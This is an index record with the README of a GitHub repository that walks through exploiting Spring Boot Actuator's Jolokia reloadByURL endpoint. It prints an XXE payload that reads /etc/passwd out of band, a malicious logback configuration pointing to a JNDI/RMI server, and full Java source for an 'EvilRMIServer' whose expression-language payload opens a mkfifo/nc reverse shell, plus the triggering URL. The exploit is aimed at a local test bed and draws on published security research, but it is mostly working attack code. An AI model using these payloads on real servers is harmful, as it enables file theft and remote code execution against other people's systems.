{"id":13842154,"url":"https://github.com/ba0zi/Spring-Boot-Actuator-Exploit","last_synced_at":"2025-07-11T14:30:51.151Z","repository":{"id":200736591,"uuid":"214935576","full_name":"ba0zi/Spring-Boot-Actuator-Exploit","owner":"ba0zi","description":"Spring Boot Actuator (jolokia) XXE/RCE","archived":false,"fork":true,"pushed_at":"2019-03-10T10:58:32.000Z","size":9,"stargazers_count":22,"open_issues_count":0,"forks_count":5,"subscribers_count":2,"default_branch":"master","last_synced_at":"2024-08-05T17:30:41.459Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"mpgn/Spring-Boot-Actuator-Exploit","license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ba0zi.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2019-10-14T03:00:04.000Z","updated_at":"2023-05-19T05:58:14.000Z","dependencies_parsed_at":null,"dependency_job_id":"1f61fff9-e3c3-4791-a5ab-08445ff5ebf9","html_url":"https://github.com/ba0zi/Spring-Boot-Actuator-Exploit","commit_stats":null,"previous_names":["ba0zi/spring-boot-actuator-exploit"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ba0zi%2FSpring-Boot-Actuator-Exploit","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ba0zi%2FSpring-Boot-Actuator-Exploit/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ba0zi%2FSpring-Boot-Actuator-Exploit/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ba0zi%2FSpring-Boot-Actuator-Exploit/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ba0zi","download_url":"https://codeload.github.com/ba0zi/Spring-Boot-Actuator-Exploit/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225729873,"owners_count":17515180,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:01:28.295Z","updated_at":"2024-11-21T12:30:57.526Z","avatar_url":"https://github.com/ba0zi.png","language":null,"funding_links":[],"categories":["Others (1002)","Others","Java"],"sub_categories":[],"readme":"# Spring Boot Actuator (jolokia) XXE/RCE\n\nInformation and payload from the following article: https://www.veracode.com/blog/research/exploiting-spring-boot-actuators\n\nTested on Spring Boot Actuator \u003c 2.0.0 and Jolokia 1.6.0.\n\nIf you have access to the following ressource `/actuator/jolokia` or `/jolokia` with Spring Boot Actuator and the following ressource: **reloadByURL**, this writeup can help you to exploit an XXE and ultimately and RCE.\n\n### Setup the environment:\n\n```bash\ngit clone https://github.com/artsploit/actuator-testbed\ncd actuator-testbed\nmvn install\nmvn spring-boot:run\n```\n\n### 1. The jolokia XXE\n\nIf the action **reloadByURL** exists, the logging configuration can be reload from an external URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:1337!/logback.xml\n\nThe XML parser behind logback is SAXParser. We can exploit this feature to trigger an XXE Out-Of-Band Error based using the following payload:\n\n```xml\n# file logback.xml from the server 127.0.0.1:1337\n\u003c?xml version=\"1.0\" encoding=\"utf-8\" ?\u003e\n\u003c!DOCTYPE a [ \u003c!ENTITY % remote SYSTEM \"http://127.0.0.1:8080/file.dtd\"\u003e%remote;%int;]\u003e\n\u003ca\u003e\u0026trick;\u003c/a\u003e\n```\n```xml\n# file file.dtd from the server 127.0.0.1:8080\n\u003c!ENTITY % d SYSTEM \"file:///etc/passwd\"\u003e \n\u003c!ENTITY % int \"\u003c!ENTITY trick SYSTEM ':%d;'\u003e\"\u003e\n```\n\nThe server responds with an error and the content of the file `/etc/passwd` is directly contained in it:\n\n![image](https://user-images.githubusercontent.com/5891788/53958395-3c992700-40e1-11e9-9c79-0719613046f0.png)\n\n### 2. Jolokia RCE\n\nExploiting an XXE is always nice but a RCE is always better.\nInstead of loading a _fake_ XML we can send a legit XML configuration file to logback and fully exploit the feature. \n\n1. We ask to jolokia to load the new logging configuration file from an external URL\n2. The [logging config](https://logback.qos.ch/manual/configuration.html#insertFromJNDI) contains a link to a malicious RMI server\n3. The malicious RMI server will use a [template expression](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) vulnerability to execute code on the remote server\n\n\u003e In other words, JNDI is a simple Java API (such as 'InitialContext.lookup(String name)') that takes just one string parameter, and if this parameter comes from an untrusted source, it could lead to remote code execution via remote class loading.\n\nhttps://www.veracode.com/blog/research/exploiting-jndi-injections-java\n\nContent of the logback.xml file:\n\n```xml\n\u003cconfiguration\u003e\n  \u003cinsertFromJNDI env-entry-name=\"rmi://127.0.0.1:1097/jndi\" as=\"appName\" /\u003e\n\u003c/configuration\u003e\n```\n\nSince my JDK is \u003e 1.8.0_191 it's not possible to directly execute code using the RMI Service, so instead I will use this technique: https://www.veracode.com/blog/research/exploiting-jndi-injections-java\n\nThen the next step is to create a vulnerable RMI service:\n\n```java\nimport java.rmi.registry.*;\nimport com.sun.jndi.rmi.registry.*;\nimport javax.naming.*;\nimport org.apache.naming.ResourceRef;\n \npublic class EvilRMIServer {\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"Creating evil RMI registry on port 1097\");\n        Registry registry = LocateRegistry.createRegistry(1097);\n \n        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory\n        ResourceRef ref = new ResourceRef(\"javax.el.ELProcessor\", null, \"\", \"\", true,\"org.apache.naming.factory.BeanFactory\",null);\n        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code\n        ref.add(new StringRefAddr(\"forceString\", \"x=eval\"));\n        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows\n        ref.add(new StringRefAddr(\"x\", \"\\\"\\\".getClass().forName(\\\"javax.script.ScriptEngineManager\\\").newInstance().getEngineByName(\\\"JavaScript\\\").eval(\\\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u003e\u00261|nc 127.0.0.1 1234 \u003e/tmp/f']).start()\\\")\"));\n \n        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);\n        registry.bind(\"jndi\", referenceWrapper);\n    }\n}\n```\npom.xml to compile this project:\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003cproject xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\u003e\n    \u003cmodelVersion\u003e4.0.0\u003c/modelVersion\u003e\n\n    \u003cgroupId\u003eorg.springframework\u003c/groupId\u003e\n    \u003cartifactId\u003eRMIServer\u003c/artifactId\u003e\n    \u003cversion\u003e0.0.1\u003c/version\u003e\n\n    \u003cparent\u003e\n        \u003cgroupId\u003eorg.springframework.boot\u003c/groupId\u003e\n        \u003cartifactId\u003espring-boot-starter-parent\u003c/artifactId\u003e\n        \u003cversion\u003e2.0.0.RELEASE\u003c/version\u003e\n    \u003c/parent\u003e\n\n    \u003cdependencies\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.springframework.boot\u003c/groupId\u003e\n            \u003cartifactId\u003espring-boot-starter-web\u003c/artifactId\u003e\n        \u003c/dependency\u003e\n    \u003c/dependencies\u003e\n\n    \u003cproperties\u003e\n        \u003cjava.version\u003e1.8\u003c/java.version\u003e\n    \u003c/properties\u003e\n\n\u003c/project\u003e\n```\nThen when the two malicious servers are UP we can call the ressource ReloadByURL:\n\nhttp://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:1337!/logback.xml\n\nThen the template expression is executed and you get a reverse shell:\n\n![rc2](https://user-images.githubusercontent.com/5891788/53965875-49724680-40f2-11e9-894f-76267af8a0cf.png)\n\n## Ressources:\n* https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf\n* https://www.veracode.com/blog/research/exploiting-jndi-injections-java\n* https://www.veracode.com/blog/research/exploiting-spring-boot-actuators\n* https://github.com/artsploit/actuator-testbed\n* https://xz.aliyun.com/t/4258\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fba0zi%2FSpring-Boot-Actuator-Exploit","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fba0zi%2FSpring-Boot-Actuator-Exploit","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fba0zi%2FSpring-Boot-Actuator-Exploit/lists"}